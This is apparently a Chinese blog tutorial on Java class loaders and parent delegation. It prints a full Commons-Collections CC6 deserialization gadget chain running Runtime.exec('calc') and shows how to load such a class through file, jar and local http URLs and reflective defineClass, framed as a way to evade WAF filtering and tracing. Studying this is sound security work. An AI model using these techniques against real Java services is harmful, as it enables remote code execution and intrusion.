java类加载和双亲委派及加载恶意类代码应用

news2024/11/16 13:58:10

前面的CC1和CC6,都是在Runtime.exec执行命令。如果WAF过滤了Runtime就寄,而且用命令的方式写入shell进行下一步利用,在流量中一个数据包就能把你的行为全部看完,很容易被分析出来。

如果用恶意字节码加载的方式,我们的流量会更乱,溯源更麻烦。而且最后触发点为defineClass,解决了过滤Runtime和exec的问题。

如果要学动态类加载,那一定绕不开类加载器的双亲委派机制

https://javaguide.cn/java/jvm/classloader.html#%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%99%A8%E6%80%BB%E7%BB%93

也可以尝试自己调用ClassLoader.loadClass()进行调试(普通步入进不去,需要强制步入),但是不推荐,脑子会被搞得很乱。

Java双亲委派类加载

JVM 中内置了三个重要的 ClassLoader

  1. BootstrapClassLoader(启动类加载器):最顶层的加载类,由 C++实现,通常表示为 null,并且没有父级,主要用来加载 JDK 内部的核心类库( %JAVA_HOME%/lib目录下的 rt.jarresources.jarcharsets.jar等 jar 包和类)以及被 -Xbootclasspath参数指定的路径下的所有类。
  2. ExtensionClassLoader(扩展类加载器):主要负责加载 %JRE_HOME%/lib/ext 目录下的 jar 包和类以及被 java.ext.dirs 系统变量所指定的路径下的所有类。
  3. AppClassLoader(应用程序类加载器):面向我们用户的加载器,负责加载当前应用 classpath 下的所有 jar 包和类。

除了 BootstrapClassLoader 是 JVM 自身的一部分之外,其他所有的类加载器都是在 JVM 外部实现的,并且全都继承自 ClassLoader抽象类。

image-20240731105932213

ClassLoader 类有两个关键的方法:

  • protected Class loadClass(String name, boolean resolve):加载指定二进制名称的类,实现了双亲委派机制 。name 为类的二进制名称,resolve 如果为 true,在加载时调用 resolveClass(Class<?> c) 方法解析该类。
  • protected Class findClass(String name):根据类的二进制名称来查找类,默认实现是空方法。

image-20240731105804759

双亲委派模型的执行流程:

  • 在类加载的时候,系统会首先判断当前类是否被加载过。已经被加载的类会直接返回,否则才会尝试加载(每个父类加载器都会走一遍这个流程)。
  • 类加载器在进行类加载的时候,它首先不会自己去尝试加载这个类,而是把这个请求委派给父类加载器去完成(调用父加载器 loadClass()方法来传递类)。这样的话,所有的请求最终都会传送到顶层的启动类加载器 BootstrapClassLoader 中。
  • 只有当父加载器反馈自己无法完成这个加载请求(它的搜索范围中没有找到所需的类)时,子加载器才会尝试自己去加载(调用自己的 findClass() 方法来加载类)。
  • 如果子类加载器也无法加载这个类,那么它会抛出一个 ClassNotFoundException 异常。

由于loadClass是传递,所以只有AppClassLoader重写了loadClass,因为BootstrapClassLoader是C++实现的,已经无需由ExtClassLoader传递上去。

image-20240731113942238

那为什么两个类都没实现findClass来加载类呢?实际上两个类都继承了URLClassLoader,调用URLClassLoader#findClass来通过路径加载类。

类加载器之URLClassLoader

上文的双亲委派,类加载器之间并不是继承的关系,而是使用组合关系来复用父加载器。

public abstract class ClassLoader {
  ...
  // 组合
  private final ClassLoader parent;
  protected ClassLoader(ClassLoader parent) {
       this(checkCreateClassLoader(), parent);
  }
  ...
}

真实的继承关系如图:

image-20240731111552787

AppClassLoader和ExtClassLoader都是Launcher的静态内部类,继承自URLClassLoader

  • SecureClassLoader:扩展了ClassLoader,并为定义具有相关代码源和权限的类提供了额外支持,这些代码源和权限默认情况下由系统策略检索。
  • URLClassLoader:继承自SecureClassLoader,支持从jar文件和文件夹中获取class,继承于Classloader,加载时首先去Classloader里判断是否由启动类加载器加载过。

Class.forName()这个方法只能创建程序中已经引用的类,如果我们需要动态加载程序外的类,Class.forName()是不够的,这个时候就是需要使用URLClassLoader的时候。

把CC6改个构造函数:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;


public class CC6TiedMapEntry {
    public CC6TiedMapEntry() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("godown"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "test2");
        map.remove("test1");
        Class lazymapClass = lazyMap.getClass();
        Field factory = lazymapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(factory, factory.getModifiers() & ~Modifier.FINAL);
        factory.set(lazyMap, chainedTransformer);
        serialize(hashMap);
        unserialize("cc6.ser");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6.ser"));
        oos.writeObject(obj);
        oos.close();
    }
    public static Object unserialize(String filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        ois.close();
        return obj;
    }
}

file协议

构建后放到指定的项目外目录,测试加载项目外路径的类

image-20240731151651287

把项目文件下的CC6TiedMapEntry文件删去

用下列代码就能远程加载类

public class CC3TemplatesImpl {
    public static void main(String[] args) throws Exception {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///E:\\CODE_COLLECT\\")});
        Class<?> clazz = urlClassLoader.loadClass("CC6TiedMapEntry");
        clazz.newInstance();
    }
}

image-20240731153412148

jar协议

上面的代码用的file协议,实际上jar协议和http协议也可以加载:

先创建工件,然后把CC6TiedMapEntry.class加入jar包下

image-20240731154736468

构建工件

image-20240731154821585

同理,传到目录下:

image-20240731154904750

public class CC3TemplatesImpl {
    public static void main(String[] args) throws Exception {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///E:\\CODE_COLLECT\\CC6TiedMapEntry.jar!/")});
        Class<?> clazz = urlClassLoader.loadClass("CC6TiedMapEntry");
        clazz.newInstance();
    }
}

用上述代码进行加载,也是成功加载:

image-20240731154932573

http协议

http就很简单了,python开个服务直接请求。

image-20240731162405290

public class CC3TemplatesImpl {
    public static void main(String[] args) throws Exception {
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999/")});
        Class<?> clazz = urlClassLoader.loadClass("CC6TiedMapEntry");
        clazz.newInstance();
    }
}

当然也可以http搭配file和jar协议使用,自行发挥吧。

源码详解

除此以外还有一种更底层的代码进行类加载。我们深入分析一下下列代码是怎么加载类的。

public static void main(String[] args) throws Exception {
    ClassLoader classLoader = ClassLoader.getSystemClassLoader();
    Class<?> clazz = classLoader.loadClass("org.example.CC6TiedMapEntry");
    clazz.newInstance();
}

ClassLoader.getSystemClassLoader()返回的是系统类加载器,通常是一个Launcher$AppClassLoader 的实例

我们指定的类先进入单参数的ClassLoader#loadClass,因为AppClassLoader,父类URLClassLoader及其父类SecureClassLoader里并没有单参数loadClass,但是SecureClassLoader继承了ClassLoader

image-20240731173028112

该loadClass调用了另一个双参数的loadClass,尽管ClassLoader实现了这个双参数的loadClass,但根据多态性原则,还是交给重载了该方法的子类AppClassLoader运行。

在AppClassLoader中调用了父类的loadClass,也就是ClassLoader的loadClass

image-20240731175928852

于是开始双亲委派

image-20240731180116014

由于不在指定的目录下,BootstrapLoader和ExtClassLoader都加载不了,最后传回了AppClassLoader。

AppClassLoader#findClass不存在,交由其父类URLClassLoader#findClass处理。

于是在该方法中,获取了类路径,并调用defineClass加载字节码

image-20240731180720964

跟进defineClass,发现实际上是调用了

image-20240731180820380

在ClassLoader#defineClass进行了字节码的加载,具体的实现在defineClass1这个C++实现方法中。

image-20240731181000728

这个过程不需要记住,只需要知道最后在ClassLoader#defineClass进行字节码的加载

调用过程:AppClassLoader#loadClass->ClassLoader#loadClass->双亲委派->AppClassLoader#findClass(无)->URLClassLoader#findClass->URLClassLoader#defineClass->ClassLoader#defineClass

双亲委派过程:检查是否加载过->ExtClassLoader#loadClass->BootstrapClassLoader->AppClassLoader#findClass

defineClass底层加载

既然最后类加载的地方是defineClass,那我们反射直接调用一遍该方法测试一下

image-20240731182329733

public static void main(String[] args) throws Exception {
    Class<ClassLoader> cl = ClassLoader.class;
    Method defineclassmethod = cl.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
    defineclassmethod.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("E:\\CODE_COLLECT\\CC6TiedMapEntry.class"));
    Class cc6Instance = (Class) defineclassmethod.invoke(ClassLoader.getSystemClassLoader(), "CC6TiedMapEntry", code, 0, code.length);
    cc6Instance.newInstance();
}

image-20240731183540038

可见,可以直接调用defineClass加载类。

尽管defineClass是protected final,其他地方依然有调用到该方法,让我们可以构造底层的恶意类加载攻击。

比如bcel,TemplatesImpl

image-20240731190735428

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1963569.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

轮询系统的具体原理是什么

一般市面上的轮询系统&#xff0c;看似高深莫测&#xff0c;但都是大差不差的&#xff0c;没有太多的技术含量&#xff0c;都是通过你的订单情况&#xff0c;在数据库中找出一个可以收这个订单的支付方式&#xff0c;然后经过b站来实现与支付通道商交互。 这个过程看似复杂&am…

IP-GUARD文档云备份服务器迁移数据操作说明

一、功能简介 使用文档云备份过程可能出现需要迁移旧数据到新目录的情况(如一开始存储目录设置 不合理,之后变更存储目录),下面介绍迁移备份数据到新目录的方法,迁移后可正常查看、 下载、删除原备份文件。 二、同一计算机上迁移存储目录 当仅需要将存储目录迁移到同一计…

随机森林的可解释性分析(含python代码)

随机森林的可解释性分析 1.引言可解释性的重要性 2.随机森林的原理2.1 基本原理&#xff1a;2.2 随机森林的实现 3.随机森林的可解释性分析3.1 特征重要性3.2 特征重要性3.3 SHAP值3.4 部分依赖图&#xff08;PDP&#xff09;3.5 交互特征效应3.6 变量依赖图 4.结论5.参考文献 …

Android和iOS 测试五个最好的开源自动化工具

本文主要介绍Android和iOS 五个最好的开源自动化工具&#xff0c;这里整理了相关资料&#xff0c;希望能帮助测试软件的朋友&#xff0c;有需要的看下 自动化测试在产品测试上有着非常重要的作用。实现测试自动化有多种积极的方式&#xff0c;包括最大限度地减少测试执行时间&…

昇思25天学习打卡营第26天|munger85

ShuffleNet图像分类 和mobilenet一样&#xff0c;也是在资源有限的设备上进行神经网络来做ai图像分类的小模型&#xff0c;在保持精度的同时大大降低了模型的计算量。 是基本块 就是真正的网络&#xff0c;如果模型size是2&#xff0c;就是输出的时候多一些&#xff0c;精细一…

公司监控员工电脑都能监控到什么?公司电脑可以监控到哪些内容?

很多人反馈&#xff0c;公司监控电脑&#xff1a; 那到底为什么安装监控&#xff1f; 公司监控员工电脑又都能监控到什么&#xff1f; 下面小编跟你细细道来~ 第一部分&#xff1a;架空员工电脑监控的目的 在现代企业管理中&#xff0c;电脑监控已成为一种常见的做法。 企…

【LLM大模型】落地RAG系列:RAG入门及RAG面临的挑战和解决方案!!

2023 年以来&#xff0c;RAG 已成为基于大模型的人工智能系统中应用最为广泛的架构之一。因此对 RAG 应用的性能、检索效率、准确性的研究成为核心问题。 本文首先介绍什么是 RAG、为什需要 RAG、介绍 Naive RAG 工作流程及Naive RAG 存在的问题和挑战&#xff01; 为什么需要 …

10:WiFi模块服务器模式

WiFi模块服务器模式 1、单片机通过WiFi模块向移动设备进行通信 我们通过AT指令ATCWMODE x&#xff0c;可以配置WiFi模块的工作模式。   ATCWMODE1为移动设备模式&#xff0c;这时WiFi模块可以连接其他路由器WiFi&#xff0c;然后可以给连接这个WiFi的其他移动设备发送数据&a…

JAVA静态代理和动态代理

前言&#xff1a; 静态代理: 静态代理是在编译时就已经确定了代理类的具体实现。代理类需要实现与目标类相同的接口,并且持有目标对象的引用。在代理类中实现对目标方法的增强或修改。静态代理的优点是实现简单,可以很好地控制目标对象的行为。缺点是每个目标对象都需要创建一…

从光速常数的可变性看宇宙大爆炸的本质

基于先前关于光速本质的讨论&#xff0c;让我们从函数图像看看宇宙大爆炸到底是什么。 先前已经讨论过&#xff0c;在量子尺度上&#xff0c;长度的实际对应物是频率的差异&#xff0c;因为只有频率差异才能在这个尺度上区分相邻时空的两点&#xff0c;而两点之间“差异的大小”…

再不怕数据丢失了!全量增量的迁移工具发布!

随着用户量的增加,我们收到了各种各样的需求反馈。 为了更好地拓展Chat2DB Pro 产品, 我们很高兴地宣布推出了插件市场功能, 同时重磅推出数据迁移工具DBMotion插件。 &#x1f680; 关于 DBMotion 插件 DBMotion插件&#xff0c;是一款基于沃趣科技的 DBMotion 数据迁移工具…

软件兼容性测试内容和步骤简析,湖南软件测评公司分享

软件兼容性测试是确保软件产品在不同的硬件环境、操作系统、浏览器和设备上正常运行的重要环节。随着科技的迅猛发展&#xff0c;各类软件应用层出不穷&#xff0c;用户对软件的多样性需求日益增加&#xff0c;软件的兼容性显得尤为重要。 软件兼容性测试内容包含多个方面&…

RocketMQ中的参数约束和建议

消息发送重试次数&#xff1a; 默认值&#xff1a;3次。&#xff08;取值范围&#xff1a;无限制&#xff09; 消息发送重试和流控机制 | RocketMQ 消息消费重试次数&#xff1a; 默认值&#xff1a;16次。

便携式挂椅美国认证标准ASTM F1235测试,CPC认证

亚马逊作为一家致力于保障消费者权益的电商平台&#xff0c;亚马逊对便携式挂椅这一儿童用品的安全性有着严格的要求。为了确保儿童在使用过程中的安全&#xff0c;要求所有便携式挂椅必须经过特定法规或标准的检测&#xff0c;并符合相应的要求。 便携式挂椅是一种无腿座椅&am…

Linux 安装 MySQL

Linux 安装 MySQL 1. 下载 官网&#xff1a;https://downloads.mysql.com/archives/community/ 选择自己对应版本下载即可 百度网盘下载&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1LDGptcllwO4n5yeln4rgPA?pwdszi9 提取码&#xff1a;szi9 上面截图是8.4.0…

Python爬虫知识体系-----Selenium

数据科学、数据分析、人工智能必备知识汇总-----Python爬虫-----持续更新&#xff1a;https://blog.csdn.net/grd_java/article/details/140574349 文章目录 一、安装和基本使用二、元素定位三、访问元素信息四、自动化交互五、PhantomJS六、Chrome headless 一、安装和基本使用…

一刷代码随想录(贪心12)

贪心算法理论基础 刷题或者面试的时候&#xff0c;手动模拟一下感觉可以局部最优推出整体最优&#xff0c;而且想不到反例&#xff0c;那么就试一试贪心。 例如刚刚举的拿钞票的例子&#xff0c;就是模拟一下每次拿做大的&#xff0c;最后就能拿到最多的钱&#xff0c;这还要…

对称字符串

import java.util.Scanner; /*** author gyf* ClassName Test* Date 2024/7/31 13:39* Version V1.0* Description :*/ public class Test {public static void main(String[] args) {// StringBuilder 的场景// 1.字符串的拼接// 2.字符串的反转Scanner scanner new Scanner(…

Maven问题:IDEA无法创建javaweb和没有web Application支持的方案

解决方案一&#xff1a; 项目右键单击&#xff0c;点击add framework support 完成后就出现了web文件夹 解决方案二 右键单击后没有add framework support,先制作该功能的快捷键&#xff0c;添加快捷键之后按照解决方案1操作 注&#xff1a; 如果按照以上步骤均创建不成…

springboot业务层service开发全过程(以mybatis-plus为例)

在配置完数据层Dao/Mapper层的基础上&#xff0c;接下来我们要开始实现业务层的开发。 数据层和业务层的区别&#xff1a; 简单来说业务层是数据层的一个升级&#xff0c;从名字上也可以看出&#xff0c;数据层要想查询一个ID&#xff0c;都是需要定义SelectById这样的名称&a…